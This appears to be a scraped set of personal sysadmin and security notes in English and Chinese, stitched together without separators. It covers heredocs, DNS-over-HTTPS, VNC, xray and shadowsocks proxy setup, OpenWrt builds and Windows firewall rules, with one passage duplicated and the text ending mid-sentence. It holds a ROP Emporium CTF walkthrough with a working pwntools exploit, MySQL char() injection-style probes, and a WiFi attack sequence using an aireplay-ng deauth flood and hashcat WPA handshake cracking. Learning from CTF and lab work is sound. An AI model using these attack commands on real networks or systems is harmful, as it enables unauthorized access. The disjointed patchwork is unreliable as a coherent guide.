import variable:
Var1="linux"
su hans << EOF
echo $Var1
EOF
don’t import variables:
Var1="linux"
su hans << 'EOF'
echo $Var1
EOF
When quoting EOF, the scripts will not import variables.
Sharing, progress, innovation.
import variable:
Var1="linux"
su hans << EOF
echo $Var1
EOF
don’t import variables:
Var1="linux"
su hans << 'EOF'
echo $Var1
EOF
When quoting EOF, the scripts will not import variables.
ip -6 -brief addr show mngtmpaddr | awk '{print$3}' | awk -F/ '{print$1}'
close other dns server if necessary
systemctl stop systemd-resolved
systemctl disable systemd-resolved
redirect local dns
echo "nameserver 127.0.0.1" > /etc/resolv.conf
use dnss to perform DoH
apt install dnss
dnss –help
/etc/default/dnss
default is using google dns
https://dns.google/dns-query
https://doh.dns.sb/dns-query
change to cloudflare DNS
sed -i 's#--enable_dns_to_https#--enable_dns_to_https --https_upstream=https://1.1.1.1/dns-query #g' /etc/default/dnss
systemctl restart dnss
test
apt install dnsutils -y
dig jd.com
apt update -y && apt full-upgrade -y
sudo apt install tasksel
sudo tasksel
sudo apt install tightvncserver
# https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-debian-10
vncserver :1 -geometry 1280x800 -depth 16 -localhost -nolisten tcp
sudo apt install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal -y
cp ~/.vnc/xstartup ~/.vnc/xstartup.old
cat > ~/.vnc/xstartup << EOF
#!/bin/bash
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
# gnome-session &
vncconfig -iconic &
dbus-launch --exit-with-session gnome-session &
EOF
cp ~/.vnc/xstartup ~/.vnc/xstartup.old
cat > ~/.vnc/xstartup << EOF
#!/bin/bash
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
# gnome-session &
vncconfig -iconic &
dbus-launch --exit-with-session startxfce4 &
EOF
vncserver -kill :1
vncserver :1 -geometry 1280x800 -depth 16 -localhost -nolisten tcp
xxxx@debian9:~/pwn/ropemporium$ rabin2 -I write432
arch x86
baddr 0x8048000
binsz 6050
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath .
sanitiz false
static false
stripped false
subsys linux
va true
[0x080483f0]> afl
0x080483f0 1 50 entry0
0x08048423 1 4 fcn.08048423
0x080483c0 1 6 sym.imp.__libc_start_main
0x0804837c 3 35 sym._init
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x080483e0 1 6 sym..plt.got
0x080485b4 1 20 sym._fini
0x08048450 4 50 -> 41 sym.deregister_tm_clones
0x08048490 4 58 -> 54 sym.register_tm_clones
0x080484d0 3 34 -> 31 sym.__do_global_dtors_aux
0x08048500 1 6 entry.init0
0x0804852a 1 25 sym.usefulFunction
0x080483d0 1 6 sym.imp.print_file
0x080485b0 1 2 sym.__libc_csu_fini
0x08048550 4 93 sym.__libc_csu_init
0x08048430 1 2 sym._dl_relocate_static_pie
0x08048506 1 36 main
0x080483b0 1 6 sym.imp.pwnme
[0x080483f0]>
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> AAA
Thank you!
xxxx@debian9:~/pwn/ropemporium$
gdb -q ./write432
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
gdb-peda$ start
gdb-peda$ break *read
gdb-peda$ pattern_create 30
'AAA%AAsAABAA$AAnAACAA-AA(AADAA'
gdb-peda$ continue
gdb-peda$ finish
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xf7fd2000 --> 0x1f0c
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0xf7fb0000 --> 0x1b2db0
EBP: 0xffffd588 --> 0xffffd598 --> 0x0
ESP: 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
EIP: 0xf7fd074a (<pwnme+173>: mov ebx,DWORD PTR [ebp-0x4])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7fd0741 <pwnme+164>: call 0xf7fd0540 <puts@plt>
0xf7fd0746 <pwnme+169>: add esp,0x10
0xf7fd0749 <pwnme+172>: nop
=> 0xf7fd074a <pwnme+173>: mov ebx,DWORD PTR [ebp-0x4]
0xf7fd074d <pwnme+176>: leave
0xf7fd074e <pwnme+177>: ret
0xf7fd074f <print_file>: push ebp
0xf7fd0750 <print_file+1>: mov ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
0004| 0xffffd564 ("AAsAABAA$AAnAACAA-AA(AADAA\n")
0008| 0xffffd568 ("ABAA$AAnAACAA-AA(AADAA\n")
0012| 0xffffd56c ("$AAnAACAA-AA(AADAA\n")
0016| 0xffffd570 ("AACAA-AA(AADAA\n")
0020| 0xffffd574 ("A-AA(AADAA\n")
0024| 0xffffd578 ("(AADAA\n")
0028| 0xffffd57c --> 0xa4141 ('AA\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7fd074a in pwnme () from ./libwrite432.so
gdb-peda$ p/d $ebp-$esp
$1 = 40
gdb-peda$ pattern_create 44
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A'
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A
Thank you!
Segmentation fault
xxxx@debian9:~/pwn/ropemporium$
xxxx@debian9:~/pwn/ropemporium$ radare2 write432
-- Everybody hates warnings. Mr. Pancake, tear down this -Wall
[0x080483f0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080483f0]> afl
0x080483f0 1 50 entry0
0x08048423 1 4 fcn.08048423
0x080483c0 1 6 sym.imp.__libc_start_main
0x0804837c 3 35 sym._init
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x080483e0 1 6 sym..plt.got
0x080485b4 1 20 sym._fini
0x08048450 4 50 -> 41 sym.deregister_tm_clones
0x08048490 4 58 -> 54 sym.register_tm_clones
0x080484d0 3 34 -> 31 sym.__do_global_dtors_aux
0x08048500 1 6 entry.init0
0x0804852a 1 25 sym.usefulFunction
0x080483d0 1 6 sym.imp.print_file
0x080485b0 1 2 sym.__libc_csu_fini
0x08048550 4 93 sym.__libc_csu_init
0x08048430 1 2 sym._dl_relocate_static_pie
0x08048506 1 36 main
0x080483b0 1 6 sym.imp.pwnme
[0x080483f0]>
[0x080483f0]> axt @@ str.*
[0x080483f0]> izz
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x08048543 : mov dword ptr [edi], ebp ; ret
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x080485aa : pop edi ; pop ebp ; ret
$ readelf -a ./write432
...
[19] .init_array INIT_ARRAY 08049efc 000efc 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f00 000f00 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049f04 000f04 0000f8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
$ readelf -x .data ./write432
Hex dump of section '.data':
0x0804a018 00000000 00000000 ........
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0x804a01c (".txt")
EBP: 0x7478742e ('.txt')
ESP: 0xffffd5ac --> 0x80483d0 (<print_file@plt>: jmp DWORD PTR ds:0x804a014)
EIP: 0x8048545 (<usefulGadgets+2>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048541 <usefulFunction+23>: leave
0x8048542 <usefulFunction+24>: ret
0x8048543 <usefulGadgets>: mov DWORD PTR [edi],ebp
=> 0x8048545 <usefulGadgets+2>: ret
0x8048546 <usefulGadgets+3>: xchg ax,ax
0x8048548 <usefulGadgets+5>: xchg ax,ax
0x804854a <usefulGadgets+7>: xchg ax,ax
0x804854c <usefulGadgets+9>: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd5ac --> 0x80483d0 (<print_file@plt>: jmp DWORD PTR ds:0x804a014)
0004| 0xffffd5b0 --> 0x804a018 ("flag.txt")
0008| 0xffffd5b4 --> 0xffffd644 --> 0xffffd77d ("/home/xxxx/pwn/ropemporium/write432")
0012| 0xffffd5b8 --> 0xffffd64c --> 0xffffd7a1 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xffffd5bc --> 0x0
0020| 0xffffd5c0 --> 0x0
0024| 0xffffd5c4 --> 0x0
0028| 0xffffd5c8 --> 0xf7fb0000 --> 0x1b2db0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048545 in usefulGadgets ()
gdb-peda$ x/10s 0x0804a018
0x804a018: "flag.txt"
0x804a021: ""
0x804a022: ""
0x804a023: ""
0x804a024: ""
0x804a025: ""
0x804a026: ""
0x804a027: ""
0x804a028: ""
0x804a029: ""
gdb-peda$ next
0xf7fd0772 <print_file+35>: push DWORD PTR [ebp+0x8]
=> 0xf7fd0775 <print_file+38>: call 0xf7fd0570 <fopen@plt>
from pwn import *
def convertASCII_to_Hex(value):
res = ""
for i in value:
res += hex(ord(i))[2:]
return res
def changeEndian(value):
length = len(value)
res = "0x"
for i in range(length-1, 0, -2):
res += value[i-1]+ value[i]
return res
def generateString(value):
return int(changeEndian(convertASCII_to_Hex(value)), 16)
#Prepare the payload
junk = b"A"*44
pop_edi_ebp = p32(0x080485aa)
data_addr_1 = p32(0x0804a018)
string1 = p32(generateString("flag"))
move_edi_epb = p32(0x08048543)
pop_edi_ebp = p32(0x080485aa)
data_addr_2 = p32(0x0804a018 + 4)
string2 = p32(generateString(".txt"))
print_file = p32(0x080483d0)
payload = junk
payload += pop_edi_ebp
payload += data_addr_1
payload += string1
payload += move_edi_epb
payload += pop_edi_ebp
payload += data_addr_2
payload += string2
payload += move_edi_epb
payload += print_file
payload += b"BBBB"
payload += data_addr_1
#sys.stdout.buffer.write(payload)
# Send the payload
elf = ELF('write432') #context.binary
p = process(elf.path)
p.sendline(payload) #send the payload to the process
p.interactive()
select * from USER_PRIVILEGES where GRANTEE = char(111)+char(1);
+---------------------------+---------------+--------------------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+---------------------------+---------------+--------------------------+--------------+
| 'mariadb.sys'@'localhost' | def | USAGE | NO |
| 'mysql'@'localhost' | def | SELECT | YES |
| 'mysql'@'localhost' | def | INSERT | YES |
| 'mysql'@'localhost' | def | UPDATE | YES |
| 'mysql'@'localhost' | def | DELETE | YES |
| 'mysql'@'localhost' | def | CREATE | YES |
...
select (char(1)+char(1)) from USER_PRIVILEGES;
+-------------------+
| (char(1)+char(1)) |
+-------------------+
| 0 |
| 0 |
| 0 |
select GRANTEE=0 from USER_PRIVILEGES;
+-----------+
| GRANTEE=0 |
+-----------+
| 1 |
| 1 |
| 1 |
select count(*) from USER_PRIVILEGES where 1;
+----------+
| count(*) |
+----------+
| 77 |
+----------+
# 证书使用的域名
DOMAIN="xx.xx.xyz"
# 根据 ${DOMAIN}.zip解压出的实际情况 决定 $SSL_CERT 和 $SSL_KEY路径
SSL_CERT="/etc/nginx/ssl/Nginx/1_${DOMAIN}_bundle.crt"
SSL_KEY="/etc/nginx/ssl/Nginx/2_${DOMAIN}.key"
SSL_PORT=11443
HTTP_PORT=10080
XRAY_PORT=1443
sudo apt update -y
sudo apt install nginx-full -y
cd /etc/nginx/ && sudo mkdir ssl
# 把证书压缩包放到/etc/nginx/ssl/下
sudo cp ~/${DOMAIN}.zip /etc/nginx/ssl/
cd /etc/nginx/ssl/ && sudo unzip ${DOMAIN}.zip
sudo tee /etc/nginx/sites-enabled/default << EOF
server {
listen ${HTTP_PORT} default_server;
listen [::]:${HTTP_PORT} default_server;
return 301 https://\$host:${SSL_PORT}\$request_uri;
}
server {
# SSL configuration
listen ${SSL_PORT} ssl default_server;
listen [::]:${SSL_PORT} ssl default_server;
ssl_certificate ${SSL_CERT};
ssl_certificate_key ${SSL_KEY};
# Self signed certs generated by the ssl-cert package
# Don't use them in a production server!
#
# include snippets/snakeoil.conf;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name ${DOMAIN};
location / {
root /var/www/html;
try_files $uri $uri/ =404;
}
}
EOF
# 如果要开放 nginx端口需要放开防火墙,不开放也行
#iptables -A INPUT -p tcp --dport ${SSL_PORT} -j ACCEPT
sudo systemctl restart nginx.service
#xray
#下载最新的Xray-core 到 ~/xtls/xray 目录下
mkdir -p ~/xtls/xray && cd ~/xtls/xray
lastVersion=$(curl -s https://github.com/XTLS/Xray-core/releases/latest | grep -Po '(?<=/releases/tag/)[0-9a-zA-Z.]*(?=")')
curl -sL "https://github.com/XTLS/Xray-core/releases/download/${lastVersion}/Xray-linux-64.zip" -o Xray-linux-64.zip && unzip Xray-linux-64.zip
# uuid
Uuid=$(cd ~/xtls/xray && ./xray uuid)
echo "UUID:$Uuid"
# xray 服务端配置
cat > ~/xtls/xray/config.json << EOF
{
//日志配置,控制 Xray 输出日志的方式. https://xtls.github.io/Xray-docs-next/config/log.html#logobject
"log": {
//"access": "/var/log/Xray/access.log",
"access": "/tmp/XrayAccess.log",
"loglevel": "warning",
"dnsLog": false
},
// 提供了一些 API 接口供远程调用。
//"api": {},
// 内置的 DNS 服务器. 如果没有配置此项,则使用系统的 DNS 设置。
"dns": {
"hosts": {
"localhost": "127.0.0.1"
},
"servers": [
"1.1.1.1",
"8.8.8.8",
{
"address": "114.114.114.114",
"port": 53,
"domains": ["geoip:cn"]
#"expectIPs": ["geoip:cn"]
},
"localhost"
],
"clientIp": "1.2.3.4",
"tag": "dns_inbound"
},
// 路由功能。可以设置规则分流数据从不同的 outbound 发出.
//"routing": {},
// 本地策略,可以设置不同的用户等级和对应的策略设置。
//"policy": {},
// 一个数组,每个元素是一个入站连接配置。
"inbounds": [ {
// 监听地址,IP 地址或 Unix domain socket,默认值为 "0.0.0.0",表示接收所有网卡上的连接.可以指定一个系统可用的 IP 地址。支持填写 Unix domain socket,格式为绝对路径,形如 "/dev/shm/domain.socket",可在开头加 @ 代表 abstract,@@ 则代表带 padding 的 abstract。填写 Unix domain socket 时,port 和 allocate 将被忽略,协议目前可选 VLESS、VMess、Trojan,传输方式可选 TCP、WebSocket、HTTP/2、gRPC。
"listen": "0.0.0.0",
"port": $XRAY_PORT, // 可以换成其他端口
"protocol": "vless",
"settings": {
"clients": [
{
"id": "$Uuid", // 填写你的UUID , ./xray uuid -i "fgrrwd" OR ./xray uuid
"flow": "xtls-rprx-direct",
"level": 0
}
],
"decryption": "none",
"fallbacks": [
{
"dest": 80 // 本地80端口需支持http2,且不能是https
}
]
},
"streamSettings": {
"network": "tcp",
"security": "xtls",
"xtlsSettings": {
//"serverName": "${DOMAIN}",
//"allowInsecure": false,
"alpn": ["h2", "http/1.1"],
//"minVersion": "1.2",
//"maxVersion": "1.3",
//"preferServerCipherSuites": true,
"certificates": [
{
"certificateFile": "${SSL_CERT}", // 换成你的证书
"keyFile": "${SSL_KEY}" // 换成你的私钥
}
]
}
},
"sniffing":{
"enabled": true,
"destOverride": ["http", "tls", "fakedns"],
"metadataOnly": false,
"domainsExcluded": []
},
"allocate": {
// 表示随机开放端口,每隔 refresh 分钟在 port 范围中随机选取 concurrency 个端口来监听。
"strategy": "always"
}
}],
// 一个数组,每个元素是一个出站连接配置。
"outbounds": [ {
"protocol": "freedom"
}]
// 用于配置 Xray 其它服务器建立和使用网络连接的方式。
//"transport": {},
// 用于配置流量数据的统计。
//"stats": {},
// 反向代理。可以把服务器端的流量向客户端转发,即逆向流量转发。
//"reverse": {},
// FakeDNS 配置。可配合透明代理使用,以获取实际域名。
//"fakedns": {}
}
EOF
# 测试配置
./xray -test -config ./config.json
#
# 防火墙把xray端口开开
#iptables -A INPUT -p tcp --dport ${XRAY_PORT} -j ACCEPT
#iptables -A INPUT -p udp --dport ${XRAY_PORT} -j ACCEPT
# 运行
./xray -config ./config.json &
# 客户端配置文件:
cat > ~/xtls/xray/config_client.json << EOF
{
"log": {
"loglevel": "warning"
},
"inbounds": [
{
"port": 1080,
"listen": "127.0.0.1",
"protocol": "socks",
"settings": {
"udp": true
}
}
],
"outbounds": [
{
"protocol": "vless",
"settings": {
"vnext": [
{
"address": "${DOMAIN}",
"port": $XRAY_PORT,
"users": [
{
"id": "$Uuid",
"flow": "xtls-rprx-direct",
"encryption": "none",
"level": 0
}
]
}
]
},
"streamSettings": {
"network": "tcp",
"security": "xtls",
"xtlsSettings": {
"serverName": "${DOMAIN}"
}
}
}
]
}
EOF
mkdir ~/tls && touch ~/tls/sslkeylog.log
#zsh
echo "" >> ~/.zshrc
echo "export SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.zshrc && source ~/.zshrc
#bash
echo "" >> ~/.bashrc
echo "export SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bashrc && source ~/.bashrc
nginx既可以对tcp协议进行负载均衡,也可以对UDP协议进行负载均衡。
以shadowsock为例,假如我现在有3台shadowsocks:
11.11.11.11:2222
33.33.33.33:4444
55.55.55.55:6666
每台上都同时开了TCP和UDP协议。而且每台上的加密方式和密码都一样。
这点很重要,每台上的加密方式和密码必须一样。
现在我要通过本地nginx实施负载均衡。
以最简单的轮询式(Round Robin)负载为例。
以Debian为例,先安装nginx:
sudo apt install nginx-full -y
修改如下ip和端口,追加到/etc/nginx/nginx.conf 文件中:
# https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-udp-load-balancer/
# 放置在/etc/nginx/nginx.conf的 http{} 部分的下面
stream {
upstream shadowsocks_tcp {
# By default, NGINX uses the Round Robin algorithm to load balance traffic
server 11.11.11.11:2222 max_fails=2 fail_timeout=5;
server 33.33.33.33:4444 max_fails=2 fail_timeout=5;
server 55.55.55.55:6666 max_fails=2 fail_timeout=5;
}
upstream shadowsocks_udp {
# By default, NGINX uses the Round Robin algorithm to load balance traffic
server 11.11.11.11:2222 max_fails=2 fail_timeout=5;
server 33.33.33.33:4444 max_fails=2 fail_timeout=5;
server 55.55.55.55:6666 max_fails=2 fail_timeout=5;
}
server {
# https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-health-check/
listen 8388;
proxy_pass shadowsocks_tcp;
proxy_timeout 3s;
proxy_connect_timeout 1s;
}
server {
# https://docs.nginx.com/nginx/admin-guide/load-balancer/udp-health-check/
listen 8388 udp;
proxy_pass shadowsocks_udp;
proxy_timeout 1s;
}
}
重启nginx使配置生效:
sudo systemctl start nginx.service
然后就可以通过配置ss连接到nginx的8388端口 ,均匀的访问到每个节点。
使用TSO(TCP Segmentation Offload) 的网卡,可使一个tcp包携带超过1460大小的数据,导致suricata和wireshark识别不正确。
如果想suricata和wireshark正确的识别大长度的pcap包,需要禁用TSO
在Linux内核中的实现分别是 LSO (Large Send Offload) LRO (Large Receive Offload)
禁用的方法:
ethtool -K ens33 tso off
ethtool -K ens33 gro off
ethtool -K ens33 gso off
并在网卡配置里添加如下:
offload-tx off
offload-sg off
offload-tso off
offload-gso off
offload-gro off
以我的为例:
root@debian10:~# cat /etc/network/interfaces
......
auto lo
iface lo inet loopback
# The primary network interface
auto ens33
iface ens33 inet dhcp
offload-tx off
offload-sg off
offload-tso off
offload-gso off
offload-gro off
root@debian10:~#
在windows里禁用,参考
参考:
https://meet-unix.org/2017-02-19-tcp-lso.html
https://forum.suricata.io/t/cant-detect-amq-message/1203/4
$ ll /bin/nc
lrwxrwxrwx 1 root root 20 Jan 11 2019 /bin/nc -> /etc/alternatives/nc
$ ll /etc/alternatives/nc
lrwxrwxrwx 1 root root 15 Jan 1 12:06 /etc/alternatives/nc -> /bin/nc.traditional
$ sudo apt install netcat-openbsd -y
ssh [email protected] -o ProxyCommand='nc -X 5 -x 192.168.x.x:1080 %h %p' -p 22
ssh [email protected] -o ProxyCommand='ssh -W %h:%p -oPort=22 -oIdentityFile="~/.ssh/key" 11.22.33.44' -p 22
需求
弄了个软路由,openwrt。
CPU : MediaTek MT7621A
是什么 mipsel_24kc 架构的。搞不懂。
刷了几天终于把能上谷歌的插件装上了。
一开始用openclash,结果装上配置太复杂,玩不转。
然后又去找其他的替代软件,发现ShadowSocksR Plus+ 和符合我的需求。简单粗暴。
编译
建议使用Ubuntu18.04,我用的Debian10也可以,CPU > 1 ,内存 >1。我用的4G 2C。全程建议在能上外网的环境下进行。
在LEDE中编译:
# 全程不能用root操作
sudo apt-get update
sudo apt-get -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync
# https://github.com/Lienol/openwrt
# https://github.com/gl-inet/openwrt.git
# https://github.com/coolsnowwolf/lede 看说明
# 二次编译 和 重新配置 查看仓库README
git clone https://github.com/coolsnowwolf/lede
cd lede/package
git clone https://github.com/kenzok8/openwrt-packages.git
git clone https://github.com/kenzok8/small.git
cd ../
./scripts/feeds clean && ./scripts/feeds update -a
./scripts/feeds install -a
# 在弹出的菜单中,通过前三个选择到指定的CPU型号,在LUCI里选择要编译的应用。配置保存为 ".config"文件
make menuconfig
# 下载dl库(国内请尽量全局科学上网)
make -j8 download V=s
# -j1 后面是线程数。第一次编译推荐用单线程
# 如果之前用 proxychains4 ,那这一步不能用 proxychains4 。
make -j1 V=s
make menuconfig 这一步要注意,Luci->Application中luci-app-passwall 的NaiveProxy ,我勾选上会报错,需要取消勾选:
<M> luci-app-passwall.............................. LuCI support for PassWall
[ ] Include NaiveProxy
安装
bin目录下会有很多包
直接安装 luci-app-ssr-plus_181-4_all.ipk会报少依赖:
缺啥依赖 就用 find 命令去bin/目录下找,找到拉过去安装,直到完全满足依赖。
luci-app-ssr-plus:
passwall:
vssr:
还要额外安装 luci-compat
我编译好的:
https://mc.73007300.xyz/files/router/
netsh advfirewall set currentprofile blockinbound,allowoutbound
# 恢复初始防火墙设置
netsh advfirewall reset
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 开启防火墙
netsh advfirewall set allprofile state on
# 查看状态
netsh advfirewall show allprofiles
# 关闭已有规则
NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no
# 直接禁止指定端口 会导致其它没指定的端口放开
# 保证不会关闭业务端口
netsh advfirewall set allprofile state on
netsh advfirewall firewall add rule dir=in action=block protocol=UDP localport=53 name="Block_UDP-53"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_TCP-445"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_TCP-135"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=137 name="Block_TCP-137"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=138 name="Block_TCP-138"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=139 name="Block_TCP-139"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=3389 name="Block_TCP-3389"
# 3389对指定IP放行
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389 remoteip="10.153.127.110"
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389 remoteip="192.168.111.129"
# 删掉指定名称的规则
netsh advfirewall firewall delete rule name="Block_UDP-53"
netsh advfirewall firewall delete rule name="Block_TCP-135"
netsh advfirewall firewall delete rule name="Block_TCP-137"
netsh advfirewall firewall delete rule name="Block_TCP-138"
netsh advfirewall firewall delete rule name="Block_TCP-139"
netsh advfirewall firewall delete rule name="Block_TCP-445"
netsh advfirewall firewall delete rule name="Block_TCP-1245"
netsh advfirewall firewall delete rule name="Block_TCP-1433"
netsh advfirewall firewall delete rule name="Block_TCP-3306"
netsh advfirewall firewall delete rule name="Block_TCP-3389"
#禁用 指定端口上的规则
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=53 protocol=UDP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=135 protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=137 protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=138 protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=139 protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=445 protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=1245 protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE name=all dir=in localport=3389 protocol=TCP NEW enable=no
# 只允许堡垒机(10.153.127.110)访问3389
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389 remoteip="10.153.127.110"
# 删掉指定端口,指定协议上的规则 不建议使用
netsh advfirewall firewall delete rule name=all dir=in localport=53 protocol=UDP
netsh advfirewall firewall delete rule name=all dir=in localport=135 protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=137 protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=138 protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=139 protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=445 protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=1245 protocol=TCP
# 开启防火墙阻止445并开放其他所有端口
netsh advfirewall set allprofile state on
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_TCP-445"
netsh advfirewall firewall add rule name="ALL port" protocol=TCP dir=in localport=1-444 action=allow
netsh advfirewall firewall add rule name="ALL port" protocol=TCP dir=in localport=446-65535 action=allow
# 重置全部规则,只允许堡垒机访问3389
netsh advfirewall reset
netsh advfirewall set allprofile state on
NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389 remoteip="10.153.127.110"
#查看所有支持IPv6的网卡
Get-NetAdapterBinding -ComponentID ms_tcpip6
#禁用所有网卡的IPv6协议
Disable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6
# 如果后面需要启用,执行: Enable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6
# 官方文档 https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd734783(v=ws.10)?redirectedfrom=MSDN
# 禁用规则 https://www.tenforums.com/tutorials/90033-enable-disable-ipv6-windows.html
#启动监控模式:(其它系统中网卡名字可能不同 通过iwconfig查看 )
ip link set wlan0 down
iwconfig wlan0 mode monitor
ip link set wlan0 up
airodump-ng wlan0
#启动托管模式:
ip link set wlan0 down
iwconfig wlan0 mode managed
ip link set wlan0 up
#重要信息:在Vmware中使用Kali VM时:将Vmware中的USB设置从USB 2.0更改为USB 3.0。
airmon-ng check kill
iwconfig
airmon-ng start wlan0
airodump-ng wlan0
airodump-ng --bssid AC:35:EE:15:8B:E2 -c 6 --write WPAcrack wlan0
aireplay-ng --deauth 100 -a AC:35:EE:15:8B:E2 wlan0
git clone https://github.com/hashcat/hashcat-utils.git cd hashcat-utils/src make ./cap2hccapx.bin /media/pcap/2603/2603-02.cap /media/pcap/2603/2603-02.hccapx
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt --quiet
.\hashcat.exe --restore
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt --session test1 --quiet
hashcat --session test1 --restore
需求
登录请求的账号密码是明文传输的,可能造成中间人抓取后重放。
实现:
思路
1.
登录表单配置token:
用4位随机数填充页面:
这样在打开登录页面时就生成了一个token:
